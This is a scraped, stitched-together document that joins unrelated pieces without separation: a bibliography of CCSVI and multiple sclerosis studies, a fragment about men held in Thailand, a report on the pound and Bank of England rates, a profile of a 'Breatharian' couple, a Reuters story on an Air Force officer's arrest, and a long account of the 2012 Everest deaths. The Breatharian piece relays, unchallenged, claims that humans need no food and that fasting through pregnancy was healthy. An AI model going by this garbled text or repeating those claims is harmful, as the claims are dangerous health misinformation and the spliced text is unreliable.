416 Validity of the diagnostic criteria for chronic cerebrospinal venous insufficiency and association with multiple sclerosis F Costello, J Modi, D Lautner, D Bhayan, JN Scott, WJ Davenport, J Trufyn, R Frayne, VA Gura, M Goyal, J Mah, MD Hill Jun-2014 Full Content In this ultrasound and MRV study of 120 people with MS and 60 healthy controls no differences in the proportion of venous outflow abnormalities were detected between people with MS and healthy controls. Methodological concerns challenge the validity of CCSVI diagnostic criteria. 06-16-2014
417 Is there any relation between chronic cerebrospinal venous insufficiency and multiple sclerosis? --a critical review W Jedynak, A Cieszanowski Jun-2014 Full Content This review of CCSVI concludes that given currently available information, routine treatment of CCSVI is not advisable. 06-16-2014
418 Ultrastructure of internal jugular vein defective valves P Zamboni, V Tisato, Z Menegatti, F Mascoli, S Gianesini, F Salvi, P Secchiero Jun-2014 Full Content Electron microscopy of intraluminal defects in the internal jugular veins of 7 people with MS and CCSVI found vein walls showed significant derangement of the endothelial layer. Endothelial cells were absent in defective cusps. These findings were not present in 3 controls. 07-02-2014
419 Cognitive functioning and subjective quality of life in relapsing-remitting multiple sclerosis patients before and after percutaneous transluminal angioplasty: a preliminary report C De Pasquale, ML Pistorio, M Veroux, A Giaquinta, P Veroux, M Fornaro Jun-2014 Full Content Preliminary findings of percutaneous transluminal angioplasty (PTA) suggest a beneficial effect of PTA in those severe cases of MS followed for 24 months after treatment. The study has limitations that are noted. 07-02-2014
420 Iron and Volume in the Deep Gray Matter: Association with Cognitive Impairment in Multiple Sclerosis. CM Modica, R Zivadinov, MG Dwyer, N Bergsland, AR Weeks, RH Benedict Jun-2014 Abstract The relationship between iron and cognition in several deep gray matter structures was examined in 85 people with MS and 27 healthy volunteers. The findings suggest iron accumulation plays a significant, if minor, role in MS cognitive decline. 07-02-2014
422 Prospective randomized trial of venous angioplasty in MS (PREMiSE). AH Siddiqui, R Zivadinov, RH Benedict, Y Karmon, J Yu, ML Hartney, KL Marr, V Valnarov, CL Kennedy, M Ramanathan, et al, B Weinstock-Guttman Jun-2014 Abstract This was a blinded, sham controlled randomized trial of 30 people with MS and CCSVI to assess the safety and efficacy of venous angioplasty. The procedure was reasonably safe. However it failed to provide any sustained improvement in venous outflow as measured through duplex or clinical and MRI outcomes. 07-02-2014
423 Venous angioplasty for "CCSVI" in multiple sclerosis: Ending a therapeutic misadventure. DN Bourdette, JA Cohen Jun-2014 Title Only No abstract available. 07-02-2014
446 Cerebral Venous Outflow in Multiple Sclerosis Patients versus Fatigue and/or Depression MHJ Hagens, ELJ Hoogervorst, STFN Frequin, SC Tramp Jun-2014 Full Content This study of 20 people with MS and controls found no significantly impaired venous outflow differences in people with MS and controls. There was no correlation between anxiety and depression and impaired venous outflow. 12-28-2014
410 Endovascular treatment of chronic cerebro spinal venous insufficiency in patients with multiple sclerosis modifies circulating markers of endothelial dysfunction: a prospective study. M Napolitano, A Bruno, D Mastrangelo, M De Vizia, B Bernardo, B Rosa, D De Lucia May-2014 Abstract This study of 110 people with MS and CCSVI followed for 18 months after treatment for CCSVI found markers of endothelial dysfunction and coagulation activation were modified. 06-03-2014
421 Iron and Multiple Sclerosis JM Stankiewicz, M Neema, A Ceccarelli May-2014 Full Content This review summarizes the role of iron in the pathophysiology of MS. 07-02-2014
405 Bilateral Surgical Reconstruction for Internal Jugular Veins Disease in Patients With Chronic Cerebrospinal Venous Insufficiency and associated Multiple Sclerosis. S Spagnolo, F Scalise, L Barbato, MA Grasso, UF Tesler Apr-2014 Abstract Surgical reconstruction of internal jugular veins (IJV) in 3 people with MS and CCSVI improved symptoms. Benefits were maintained at one year. 04-10-2014
406 Human Internal Jugular Valve M-mode Ultrasound Characterization E Menegatti, M Tessari, S Gianesini, ME Vannini, F Sisini, P Zamboni Apr-2014 Full Content Evaluation of the opening and closing of internal jugular valves (IJVs) by B and M-mode ultrasound in 83 healthy volunteers found they were always mobile. M-mode ultrasound should be added to cerebral venous return research protocols. 05-01-2014
408 Cerebrospinal fluid transferrin levels are reduced in patients with early multiple sclerosis. M Khalil, B Riedlbauer, C Langkammer, C Enzinger, S Ropele, T Stojakovic, H Scharnagl, et al Apr-2014 Abstract This analysis of cerebrospinal fluid in 60 people with clinically isolated syndrome (CIS), 14 people with early MS, and 68 controls found evidence that altered iron homeostasis within the brain occurs very early in the disease process. 05-01-2014
409 Chronic Cerebrospinal Venous Insufficiency in Multiple Sclerosis: The Hydrostatic-Immune Paradigm and the Flow Cytometry as a Diagnostic Tool NG Tsamopoulos, VE Kalodimou, S Vlachos |
them in jail for up to five years.
A San Diego city commissioner told San Diego Gay & Lesbian News that she had reached out to the U.S. government to help the men, who could not be reached by The Washington Post.
Their house sitter, Nyx Blue, told NBC 7 that they were trying to find a lawyer in Thailand, and had no idea if or when the Traveling Butts would come home.
“All over a simple, dramatic thing,” Blue said. “A simple butt!”
More reading:
Royal hush: Why Thailand’s curbs on free speech about the monarchy could prove self-defeating
‘I thought I was gone:’ What it’s like to be rescued from Hurricane Irma by U.S. airmen
An American tourist gave the Nazi salute in Germany — so a stranger beat him up, police say
Four American college students are attacked with acid at France train station, authorities sayImage copyright PA
The pound has hit its highest level against the dollar since the Brexit vote after a senior Bank of England official fuelled speculation it could raise rates in the coming months.
Gertjan Vlieghe, who has previously argued against a rate rise, said the "moment is approaching" when interest rates might need to go up.
The Bank kept rates at 0.25% this week, but hinted at a rise in the future.
Sterling rose more than 1% against the dollar to hit $1.3610.
That was its highest level since 24 June, the day after the Brexit vote.
The pound also gained more than 1.1% against the euro to rise to 1.137 euros by Friday night..
Analysts have suggested the Bank could now lift interest rates back to 0.5%, the level they were before the EU referendum, as soon as November.
Mr Vlieghe, a member of the Bank's interest rate-setting committee, said in a speech on Friday : "Until recently, I thought the appropriate response of monetary policy was to be patient, given modest growth and subdued underlying inflationary pressure.
"But the evolution of the data is increasingly suggesting that we are approaching the moment when Bank Rate may need to rise."
Mr Vlieghe, who was the first Bank member to vote for a rate cut after the Brexit vote, said there was now growing evidence the UK economy was picking up.
'Concerted effort'
He pointed to unemployment falling to record lows, as well as signs that households are spending more and that wages are rising in the private sector.
"If these data trends of reducing slack, rising pay pressure, strengthening household spending and robust global growth continue, the appropriate time for a rise in Bank Rate might be as early as in the coming months," Mr Vlieghe said.
Image copyright Getty Images Image caption Higher interest rates benefit savers but could raise mortgage costs for homeowners
Markets which track investors' expectations for the Bank rate now give a 63% likelihood of a rise in November, the highest since the Brexit vote. At the start of the week the futures markets gave only a 20% chance.
The return on government bonds, often influenced by interest rate expectations, also hit 15-month highs on Friday.
The yield on five-year UK bonds rose 7 basis points to hit 0.772%, the highest since 23 June, 2016, the day Britain voted to leave the European Union.
Howard Archer, chief economic adviser to the EY Item Club, said: "Vlieghe's comments will support belief that the Bank of England could well raise interest rates before the end of 2017 with a move as soon as November very much in play."
Image caption Mark Carney suggests interest rates may change in the coming months
Mr Archer cautioned that the Bank of England had "talked up the likelihood of an interest rate hike then failed to follow through" in the past.
"But there does seem to be a more concerted effort this time around and more unanimity within the Monetary Policy Committee of the case for a hike," he said.
The Bank said on Thursday that higher inflation and a pick up in growth could lead to a rate rise soon.
Growing speculation of a rate rise lifts the pound against other currencies because higher interest rates would make sterling more attractive to investors.
The Bank dropped heavy hints in 2014, and again last year before the EU referendum, that it could raise rates, only to later change course.A “Breatharian” mom and dad of two have barely eaten for nine years as they live off “the universe’s energy.”
Husband and wife Akahi Ricardo and Camila Castello believe that food and water aren’t necessary and humans can be sustained solely by the energy of the universe.
Castello and Ricardo — who have a 5-year-old son and 2-year-old daughter together — have survived on little else besides a piece of fruit or vegetable broth just three times per week since 2008.
And Castello even practiced a Breatharian pregnancy — not eating anything during the entire nine months that she carried her first child.
The married couple of nine years claim that their “food-free lifestyle” has improved their health and emotional well-being as well as letting them spend money on traveling rather than the weekly groceries.
Castello, 34, who lives between California and Ecuador with her husband, explained: “Humans can easily be without food — as long as they are connected to the energy that exists in all things and through breathing.”
“For three years, Akahi and I didn’t eat anything at all and now we only eat occasionally like if we’re in a social situation or if I simply want to taste a fruit.”
“With my first child, I practiced a Breatharian pregnancy. Hunger was a foreign sensation to me, so I fully lived on light and ate nothing.”
“My blood tests during all three trimesters were impeccable and I gave birth to a healthy baby boy.”
“Since Breatharianism, I feel healthier and happier that I’ve ever done before. When I was younger, my weight fluctuated but now after having two children, my body bounced back to its natural shape immediately. I never suffer from PMS symptoms anymore and I feel more emotionally stable.”
Husband Ricardo, 36, believes that Breatharianism is the ideal way to slash people’s food bills.
Ricardo — who teaches courses about Breatharianism along with Castello — explained: “There is a freedom that comes with not being attached or dependent on food.”
“Obviously, our living costs are a lot less than most families and that has allowed us to spend our money on things that really matter like traveling and exploring together.”
“It’s given us a clear sense of what we want in life. Anyone can live a Breatharian lifestyle and feel the benefits. It’s not about never eating food again, it’s about understanding cosmic nourishment (not just physical nourishment) and living without limits.”
The couple met in 2005 and got married three years later, and later that year they discovered Breatharianism through a friend.
The pair had to slowly work their way from vegetarianism to a vegan diet and then to just eating fruit before starting the “21 Day Breatharian Process.”
In this process, during the first seven days, nothing is consumed except air; for the next seven days, some water and diluted juice; and for the last seven days, diluted juice and water.
Ricardo said: “The 21 Day Breatharian Process was a powerful one and steppingstone into realizing the infinite potential that lies within.
“It led us to explore the breath and its presence within our lives, showing us that we could easily be without food as long as we had air. I used to eat a lot — but I haven’t felt hungry since that process in 2008.”
For the next three years, the couple did not eat solid food at all — even through Castello’s first pregnancy in 2011.
These days they have relaxed the rules slightly, occasionally eating so that they can share the experience with their two children.
Castello explained: “I was completely open to changing my food-free lifestyle when I first became pregnant because my child came first. But I just never felt hungry, so I ended up practicing a fully Breatharian pregnancy.
“I didn’t feel the need or desire to eat solid food during the entire nine months and so I only ate five times, all of which were in social situations.”
“And I knew my son would be nourished enough by my love and this would allow him to grow healthily in my womb. I went for regular pregnancy checkups and my doctor confirmed the above-average growth of a very healthy baby boy.”
“After I gave birth to my son, I wanted to be able to explore the joy of food in small quantities with my children as they grew.”
“So during my second pregnancy, I ate a bit of fruit or vegetable broth during the nine months. It was still a lot less than the recommended intake for a pregnant woman, but I gave birth to a healthy daughter.”
“Now, Akahi and I eat very sporadically — perhaps three or four times per week at the most. I might have a few vegetables, a juice or a bite of an apple with my children. Sometimes we have a glass of water too.”
“Whenever I eat now, it’s not because I’m hungry — I just don’t remember that sensation.”
The couple’s children aren’t forced to practice Breatharianism — although the couple insists that their kids understand the practice.
Ricardo said: “Our children are aware of Breatharianism and the energy that exists in the universe and in themselves.”
“But we would never try to change them and we let them eat whatever they want — whether that be juices, vegetables, pizza or ice cream!”
“We want them to explore the different tastes and have a healthy relationship with food as they grow.”
“It would be unfair to impose Breatharianism upon our children now, but maybe as they grow, they will get deeper into the practices.”WASHINGTON (Reuters) - The officer in charge of a program to curb sexual assault in the U.S. Air Force was arrested over the weekend for allegedly grabbing a woman by the breasts and buttocks in a parking lot not far from the Pentagon, officials said on Monday.
Lieutenant Colonel Jeffrey Krusinski, 41, is pictured in this undated handout photo released May 6, 2013 by the Arlington County Police Department. REUTERS/Arlington County Police
Lieutenant Colonel Jeffrey Krusinski, 41, was arrested on Sunday and charged with sexual battery after the alleged incident in the Crystal City area of suburban Arlington, Virginia, officials said.
Krusinski, the head of the Air Force’s Sexual Assault Prevention and Response Office, was removed from his job pending an investigation on Monday.
Defense Secretary Chuck Hagel later spoke to Air Force Secretary Michael Donley about the incident, expressing “outrage and disgust over the troubling allegations” and emphasizing “that this matter will be dealt with swiftly and decisively,” Pentagon spokesman George Little said.
“Sexual assault has no place in the United States military,” Little said. “The American people, including our service members, should expect a culture of absolutely no tolerance for this deplorable behavior.”
An Arlington County Police spokesman said Krusinski, who was under the influence of alcohol, grabbed the woman by the breasts and buttocks in a parking lot. She fended him off, and when he tried to grab her again, she called the police, who arrived shortly thereafter and detained him, the spokesman said.
Krusinski posted a $5,000 bond and was released from the Arlington County Detention Facility, said the spokesman, who confirmed Krusinski’s name and arrest but did not have his rank or title with the Air Force.
The Air Force confirmed Krusinski was a lieutenant colonel in charge of the office responsible for overseeing the service’s sexual assault policy and developing prevention and response programs.
ANNUAL REPORT ON ASSAULTS
Independent groups pushing the Pentagon to deal effectively with sexual assault expressed shock over the incident.
“If these allegations are true, this is one more example on a long list of how fundamentally broken the military justice system and culture are,” said Nancy Parrish, president of the Protect Our Defenders advocacy group.
“The idea that the head of the Air Force’s Sexual Assault Prevention and Response Office could be arrested for sexual assault indicates the depth of the problem,” she added. “It’s outrageous.”
News of the arrest came as the Pentagon is preparing to release its annual report on the problem of sexual assault in the military.
A total of 3,192 cases were reported in the fiscal year that ended September 30, 2011, a 1 percent increase from the previous fiscal year, according to last year’s report.
Pentagon officials have said the actual number of sexual assaults, including those that go unreported, is much higher, possibly as many as 19,000 a year.
The Air Force has faced a series of embarrassing sexual assault scandals over the past year. An investigation at Lackland Air Force Base in San Antonio, Texas, that began in 2011 has so far turned up 59 cases of sexual assault of military recruits by drill instructors.
General Mark Welsh, the top Air Force officer, called the scope of the case “stunning” during a congressional hearing earlier this year.
In another case, the top general in charge of an Air Force court martial at Aviano Air Base in Italy overturned the sexual assault conviction of a lieutenant colonel, threw out his one-year prison sentence and reinstated him to duty.
That case has prompted Hagel to recommend that Congress alter the military justice system to limit the ability of a military commander to throw out court-martial verdicts.
Little said in a statement that Hagel has been directing Pentagon leadership to increase their focus on sexual assault prevention. He said Hagel would soon announce the next step in the department’s effort to combat the crime.
(This story has been refiled to fix a typo in the first paragraph)Lakpa Rita, the top sherpa for Seattle-based Alpine Ascents, was the first to see it. Just visible in the glow of his frost-covered headlamp, a body dangled from a fixed line. This was the second corpse his team had met on their overnight summit bid.
An avalanche hit Camp I on April 27, seriously injuring a Sherpa.
On May 19, climbers spent up to two hours waiting at the Hilary Step.
Shriya Shah on the summit.
Shah's body at 27,000 feet.
Climbers negotiate the Khumbu Icefall in early May.
Alpine Ascents client Rob Sobecki on the summit with Karma Sarkee Sherpa.
It was 4:30 a.m. on May 20, just beyond Everest’s South Summit, the dramatic rise and dip at 28,700 feet where climbers swap in fresh oxygen cylinders for the final push to the top. The frozen body hung from a line strung along the knife-edge ridge that leads to the Hillary Step, a 40-foot cliff 100 feet below the summit. Lakpa Rita, 47, and Garrett Madison, 33, the company’s head guide, paused to consider the unfortunate soul for a moment. The wind whipped by at nearly gale force. The sun, still below the horizon, barely brightened the fierce lenticular cloud that wrapped the upper mountain.
In tight formation with Madison and Lakpa Rita were six clients from the U.S., Britain, and Australia, a third guide, 46-year-old Jose Luis Peralvo of Ecuador, and six veteran climbing Sherpas. Later they would learn that the dead man was a German doctor named Eberhard Schaaf, who’d arrived at the summit the previous afternoon. Schaaf, 61, was guided by two Sherpas from a Nepal-based outfitter called Asian Trekking, and he likely succumbed to cerebral edema during his descent. The Sherpas had stayed with him for hours before one and then the other left to save themselves.
Madison’s group had avoided the crowds by going up on the night of the 19th, in worsening weather. For them, Schaaf presented a different kind of problem: he was blocking the way. “Lakpa went up and cut him off the fixed line,” Madison recalls. Schaaf’s body tumbled 15 feet down Everest’s southwest face, stopping among some rocks.
All night, the Alpine Ascents group had met with the carnage of the previous day, when four climbers died along the 29,035-foot mountain’s most popular route—the Southeast Ridge, which ascends the Nepalese side from the foot of the Khumbu Glacier. In addition to Schaaf, they were Nepali-Canadian Shriya Shah, 33, Korean Song Won-bin, 44, and Chinese Ha Wenyi, 55. There were other fatalities as well—two on the mountain’s north side and four earlier in the season—along with serious injuries that resulted in roughly two dozen helicopter evacuations. In all, 10 people perished on Everest in April and May of 2012, making it the third deadliest spring season on record, behind 1996’s total of 12 and 2006’s total of 11.
The Alpine Ascents team encountered all four of the doomed May 19 climbers on its way up, either dead (Schaaf and Shah), too far gone to rescue (Song), or not yet in distress (Ha). Had Madison and Lakpa Rita believed they could help Song, they would have been duty-bound to try. “Since there was nothing we could do,” client Rob Sobecki later blogged, “we carried on climbing upwards.”
In the days that followed, the international media would seize upon these deaths as the latest proof of a now familiar claim: that the climbing scene on Everest is out of control. Flocks of ill-prepared novices were crowding into Base Camp, paying outfitters between $30,000 and $120,000 for what, to a lot of sane people, looked like assisted suicide.
Comparisons between this single-day tragedy and the one that claimed the lives of five clients and three guides in 1996—and led to Outside’s publication of Jon Krakauer’s “Into Thin Air”—were on the lips of commentators from CNN to NPR. Even in the climbing community, which is still deeply divided by the differing accounts of the 1996 episode, people began to ask: Has anything changed?
I was embedded on Everest with a team of climbers, the four Americans of the Eddie Bauer First Ascent West Ridge expedition: David Morton, Jake Norton, Charley Mace, and Brent Bishop. Unlike Krakauer in ’96, I wasn’t trying to climb the mountain, which left me free to roam Base Camp reporting on the season’s events.
What I saw was a situation that resembled ’96 in some respects but in most ways did not. As happened back then, some of the 2012 teams lost precious time waiting in long lines in the Death Zone, above 26,000 feet, and summited too late in the day. But 2012’s victims weren’t caught by a freak, fast-moving storm. Their deaths were the result of exhaustion, climbing too slowly, ignoring serious altitude sickness, and refusing to turn around—which is to say, the steady toll of human error. Nobody was killed by the mountain’s roulette wheel of hazards such as rockfall, avalanches, and blizzards.
This matters because it points to a new status quo on Everest: the routinization of high-altitude death. By and large, the people running the show these days on the south side of Everest—the professional guides, climbing Sherpas, and Nepali officials who control permits—do an excellent job of getting climbers to the top and down again. Indeed, a week after this year’s blowup, another hundred people summited on a single bluebird day, without a single death or serious injury.
But that doesn’t mean Everest is being run rationally. There are no prerequisites for how much experience would-be climbers must have and no rules to say who can be an outfitter. Many of the best alpinists in the world still show up in Base Camp every spring. But, increasingly, so do untrained, unfit people who’ve decided to try their hand at climbing and believe that Everest is the most exciting place to start. And while some of the more established outfitters might turn them away, novices are actively courted by cut-rate start-up companies that aren’t about to refuse the cash.
It’s a recipe that doesn’t require a storm to kill people. In this regard, things are much different now than in the past: they’re worse.
IT WAS BRIGHT, CLEAR, and hot when I hiked out of the tiny high-altitude outpost of Gorak Shep on April 18. I got my first distant look at the speckled tents of Everest Base Camp, which sits at 17,600 feet, from the lateral moraine of the Khumbu Glacier, just above the village.
Having worked at Outside for a decade, I’d placed the famous tent city on countless maps, right at the elbow where the Khumbu Icefall meets the valley floor and sweeps 90 degrees left. As I could see now, that bend is really where the camp begins. Roughly 1,000 tents, housing more than 900 climbers, stretch more than a mile and take almost an hour to traverse. Since 1996, the camp has roughly tripled in size.
The place was especially busy this year. In addition to the Eddie Bauer team, there was also a big squad from the North Face and National Geographic whose climbers, including Conrad Anker, Cory Richards, Hilaree O’Neill, and others, were planning to split up and try both the West Ridge and the classic Southeast Ridge routes. (Eddie Bauer and the North Face were there in honor of next year’s 50th anniversary of the first American ascent of Everest, which saw successful climbs on both routes in 1963.) Additionally, Swiss alpinist Ueli Steck was planning to summit solo without oxygen, Seattle climber Chad Kellogg was hoping to break the speed record without oxygen, and Briton Kenton Cool hoped to carry Arthur Wakefield’s 1924 Olympic gold medal for alpinism to the summit.
There were great expectations for this season, but as I arrived things were already going badly. The previous day, Karsang Nagel, a 40-year-old Sherpa working for a local start-up outfitter called Prestige Adventure, had suddenly died in camp—of mysterious causes. The following day, April 21, a Sherpa working for British Columbia-based Peak Freak Expeditions, 30-year-old Namgya Tshering, fell to his death after he neglected to clip a safety line while crossing a ladder over a crevasse.
Normally, during April, each team’s Sherpas spend their time carrying loads of equipment and provisions through the Khumbu Icefall, the precarious tumble of frozen blocks between Base Camp and 19,800-foot Camp I. Meanwhile, the guides and clients begin conditioning their bodies by spending short amounts of time sleeping at successively higher camps and returning to Base Camp to rest. The Icefall is always dangerous, but this year many climbers were especially worried because the route, set by a group of Sherpas known as the Icefall Doctors, needed to pass directly beneath a horseshoe-shaped hanging glacier that was prone to calving at all hours of the day.
By May 1, a team of mostly Sherpa volunteers from several of the stronger teams—including Alpine Ascents, Ashford, Washington-based International Mountain Guides, and Russell Brice’s Chamonix-based Himalayan Experience, or Himex—had established a roped route up to Camp III, at 23,500 feet. Since modern Everest guiding began on the south side in the early '90s, when Nepal started issuing permits to as many teams as could afford them, all the climbers on the mountain have generally cooperated, using the same route. This year a bad snowpack and dry weather were making cooperation difficult.
The mountain was down to bare cobbles, and many of them were melting out and raining down on the climbers. On May 1, 31-year-old Lhakpa Nuru Sherpa, who was working for Lakebay, Washington-based Summit Climb, was struck in the face by a rock and nearly killed. The next day, the various expedition leaders and sirdars (an expedition’s head Sherpa) held an impromptu meeting to discuss the dangerous rockfall.
The gathering was hosted by Benegas Brothers Expeditions, the camp run by Argentine twins Willie and Damian Benegas, two experienced alpinists. On that snowy afternoon, the procession walking down the trail included many of the greats associated with Himalayan climbing and guiding: Russell Brice, Ralf Dujmovits, Dave Hahn, Simone Moro, and David Breashears, among others.
Citing continued rockfall, Brice, 60, said that if conditions didn’t improve, Himex would pull out. Until a 2008 dustup with the Chinese government, Brice had operated only on the north side of Everest, where he gained notoriety for outfitting Discovery’s reality show Everest: Beyond the Limit. It was during the show’s 2006 filming that British climber David Sharp, another Asian Trekking client, was passed by 40 other climbers, including Discovery’s cameramen, as he lay dying. Since 2009, Brice has maintained one of the largest Base Camp operations on the south side.
Still, as other expedition leaders point out, Brice has been on the south side for only a few years. “He’s prone to being dramatic,” one veteran who was at the meeting told me later. The remaining guides, on the advice of Damian Benegas, decided to move the route between Camp II and Camp III into the shelter of some crevasses to the south, to help absorb the rockfall.
On May 5, Brice decided to pull the plug after one of his Sherpas, Dawa Tenzing, died of a stroke. “We can no longer take the responsibility of sending you, the guides, and the Sherpas through the dangerous icefall and up the rockfall-ridden Lhotse Face,” he told his staff.
Most other outfitters, by staying, signaled that they thought Brice was overreacting, though nobody aside from a few disappointed Himex clients has actually criticized him. Still, his departure had consequences. Himex’s Sherpas were supposed to fix at least one-third of the route on the upper mountain, with International Mountain Guides and Alpine Ascents fixing the other sections. With Himex gone, some of the smaller teams would have to pitch in and provide volunteer Sherpas to carry gear. But that’s not what happened during the summit-fixing planned for May 11–12.
“Many of the teams that had committed to bringing ropes to the South Col did not follow through,” says Garrett Madison. “There was talk of the weather being bad, but I think the real reason was that there just wasn’t enough gear up there.”
The failure to fix the route by May 12 should have been a small setback; there were, after all, 18 more days before the typical June 1 arrival of the monsoon that signals the end of spring climbing. As it happened, the lost time was compounded by the unintended negative consequences of a technological advance: accurate weather forecasting.
"THE BEST THING THAT ever happened to them and the worst thing that ever happened to me are the weather reports,” says Todd Burleson, 52, who owns Alpine Ascents and lives outside of Talkeetna, Alaska. Burleson, who no longer guides at Everest, is referring to budget operators on the mountain who know exactly when the best weather will occur and all tend to rush the summit at the same time.
Summit-day crowding happens for an obvious reason: forecasts are exponentially better now than in ’96. “When I was guiding Everest in the early '90s, there were no weather reports except ‘rainy in the Himalayas,’” says Burleson, who led clients up the mountain’s South Col route in ’92 and ’96. In ’96, as Krakauer recounted, expedition leader Rob Hall held a Base Camp meeting with other guides, “hoping to avoid dangerous gridlock on the summit ridge.” (Hall, who owned Adventure Consultants and guided Krakauer, died that spring along with his friend and competing outfitter Scott Fischer, owner of Mountain Madness.) He chose his May 10 summit date without any knowledge about upcoming winds, temperatures, or blizzards. As Krakauer wrote, Hall simply reasoned that “of the four times I’ve summited, twice it was on the tenth of May.”
The situation is radically different now. Each day that First Ascent climber David Morton wasn’t “upstairs” on the mountain, he would trek 10 minutes out to a rocky mound where he could get a 3G signal, then download the latest reports from the Swiss company Meteotest. Soon he and several other climbers would gather in our mess tent to strategize about rest days and load carrying, so they would be ready for a summit push right when the weather cleared. Even with the obvious traffic problems this pattern can cause, Nepali climbing officials have shown no sign of intervening. How could they? It would be impossible to force some teams to launch during less-than-ideal conditions.
A prominent figure in Everest forecasting is Michael Fagin, a self-taught meteorologist in Redmond, Washington. Fagin launched Washington Online Weather in 1996 and offered his first Everest forecasts in 2003. (Fagin and Meteotest are the two main forecasters on Everest.) “There are a lot of eyes in the sky,” says Fagin, 62. “Real-time data, satellites that can estimate cloud cover, temperature, wind, and humidity in the upper atmosphere.... The reports are a lot better now.”
At the time he started offering his forecasts, Fagin, who’s never been to Nepal, needed to prove himself. He sent free reports to several expeditions in 2003 that were scarily accurate at predicting mountain wind speeds. He also pulled the weather maps for May 1996 and did a little Monday-morning quarterbacking.
“The climbers said the storm came out of nowhere,” says Fagin. “But if there had been numerical forecasting models then, I don’t think they would have gone up, because there was a really obvious strong storm coming in.”
That’s the upside of better forecasting. The downside comes when the masses react to the info and clog the route. This year there were hundreds of permitted climbers and only two clear summit windows on the south side. Though Fagin sold his information to just seven expeditions, there’s so much blogging in Base Camp now that the windows are practically announced via carnival barker.
Word also travels on the Sherpa grapevine. Most days, our kitchen tent was visited by Sherpas from other camps, many of them relatives of our sirdar, Mingma Ongel. I spent many afternoons absorbing the best news and gossip in camp without even going outside.
When Brice pulled out, the scuttlebutt was that his Sherpas were spooked by the death of Dawa Tenzing —the husband of Mingma Ongel’s niece. With the May 11–12 opportunity lost, the fixing would need to happen just ahead of the teams. By May 14, both Fagin and Meteotest were calling for relatively calm winds from May 17 through 19. Online news reports, including one that I wrote from Base Camp, estimated that some 200 people might try to summit on the 19th. Madison and the Alpine Ascents Sherpas decided it would be safer to brave the worsening weather on the 20th than to fight the crowds.
Burleson recalls talking to Fagin from Alaska just before the largest group went up. “I said, ‘Do you know how much power you have? When you tell them to go, 200 people are going to risk their lives.’ If he had been off by one day and they had climbed on our summit day—May 20—there would have been 20 deaths. We would have been walking over them left and right. Someday that’s going to happen.”
THE FIRST BODY MADISON'S group encountered, around 11 p.m. on May 19, was that of Shriya Shah, who’d been outfitted by Utmost Adventure Trekking. Shah’s red-and-white down suit was blanketed by a Canadian flag. She was lying at 27,000 feet, near the top of the Triangular Face, which sits 500 feet from the Southeast Ridge and a promontory called the Balcony.
Shah, like the rest of the clients who died that day, had opted to forgo a Western guide in favor of what some outfitters call a Sherpa-guided trip and others, including Burleson, call non-guided. Routinely, I heard the problem reduced to a scourge of local budget outfitters, though Nepali operators aren’t the only ones who offer cheap trips. Nor are they the only ones who have problems.
It’s hard to say which outfitters are truly dangerous and which were just unlucky. There are roughly a dozen companies that fall into the category of Kathmandu-based budget outfitters, including Thamserku Trekking, Asian Trekking, Prestige Adventure, Monterosa Treks and Expedition, Mountain Experience, and Utmost. In 2012, Thamserku was the only one of these to avoid having a client or Sherpa die. Himex and Peak Freak—which aren’t budget operations— lost Sherpas as well.
As some of the company names suggest, several began as trekking outfits. But in the first decade of this century, as they saw American outfitters having success using Sherpas as guides—a cost-saving measure, since Sherpas don’t have to buy permits to climb or guide—they wanted a piece of the action. Rather than simply provide logistics for professional Everest expeditions, as Asian Trekking has been doing since 1982, they began selling guided trips. Of the hundreds of Sherpas on Everest, a handful really are qualified to guide, while others are just strong climbers. But potential clients can rarely tell who’s who.
According to Burleson, if Westerners are even aware that Sherpa refers to an ethnic group and not just a job title, they tend to believe that one is as good as another. “We treat the word Sherpa like it’s one individual,” he says.
The Sherpas know this and resent it. “For me, it’s enraging when we are all painted with the same brush,” says Dawa Steven Sherpa, 28, who runs Asian Trekking, the company that had been hired by Schaaf. “The problem right now is that anyone can set up a company on a laptop. And if they get clients, they can borrow their cousin’s tent, find a cook, and grab a ragtag bunch of guys and set up an expedition. It’s so dangerous.”
On May 19 and 20, Madison witnessed the results of this broken system. The Alpine Ascents group next came upon several Sherpas from Mountain Experience lowering a Chinese woman, Li Xiadoan, 40, who couldn’t stand up. “They said they had it under control,” recalls Madison. “They were taking her back to camp, though it didn’t seem like she could walk under her own power.”
Ultimately, the woman survived thanks to the efforts of the Sherpas and a daring helicopter rescue on the 20th, at a record 21,680 feet. But another Chinese climber, Ha Wenyi, did not. When Madison saw Ha shambling downhill, he was concerned enough to check his oxygen bottle. “He was by himself,” says Madison. “He took a break, drank some tea. He seemed to be doing OK. He was moving just fine toward the South Col, but unfortunately he didn’t make it a whole lot farther.” Ha was later discovered near Shah, his head pointing downhill, suggesting that he’d fallen or collapsed suddenly.
Just below the Balcony, the team encountered Song Won-bin, who had been climbing with the Chungnam High School Alumni expedition. Madison says Song was “unconscious but moving somewhat. We tried to rouse him, to wake him, but got no response. Nothing. He had no oxygen mask, no backpack, nothing.” A number of later reports, though somewhat sketchy, more or less agree that Song had become disoriented and combative before a teammate and one or more Sherpas he was climbing with left him.
“If we had known he was in distress, we could have tried to bring up an extra oxygen mask,” says Madison. “But I don’t know if he threw his pack and oxygen mask away or if he even had them at all that day or they’d fallen off. At that point, I thought he was pretty close to death.”
Madison tried several radio frequencies to report what he was seeing but got no response. The Alpine Ascents party continued past Song into the gale and up the ridge toward their meeting with Schaaf. The last of the previous day’s climbers—anonymous and silent behind their oxygen masks and goggles—had descended past them.
Before Madison and his crew left the South Col for their summit bid at 8:45 p.m. on May 19, radio chatter had been surprisingly light, save for the channel used by International Mountain Guides, whose sweep man, 34-year-old Justin Merle, was shepherding clients back into high camp after 24 hours on the mountain, which was dangerously long. When, at one point, Merle’s Base Camp manager radioed for a status report, the response was deadpan: “Well, we’re all still alive.” One climber had a frostbitten foot, but everybody made it.
IT'S HARD TO BELIEVE, but there are no formal fitness or experience requirements for Everest clients. As a practical matter, good outfitters want people to have climbed other difficult peaks above 20,000 feet, usually with the guide who will take them up Everest. Even so, the mountain often plays host to greenhorns, a situation that would be inconceivable in other extreme outdoor pursuits.
In 1996, Sandy Hill, a client on the Mountain Madness team, was widely ridiculed as a New York socialite who had no business on Everest. By today’s standards, Hill’s résumé, which included ascents of Denali and Antarctica’s Vinson Massif, among other tough peaks, would be considered very strong. In 2012, there was no more compelling example of a flat-out beginner than Shah. Eric Simonson, who co-owns International Mountain Guides, calls Shah the poster child for high-altitude unreadiness.
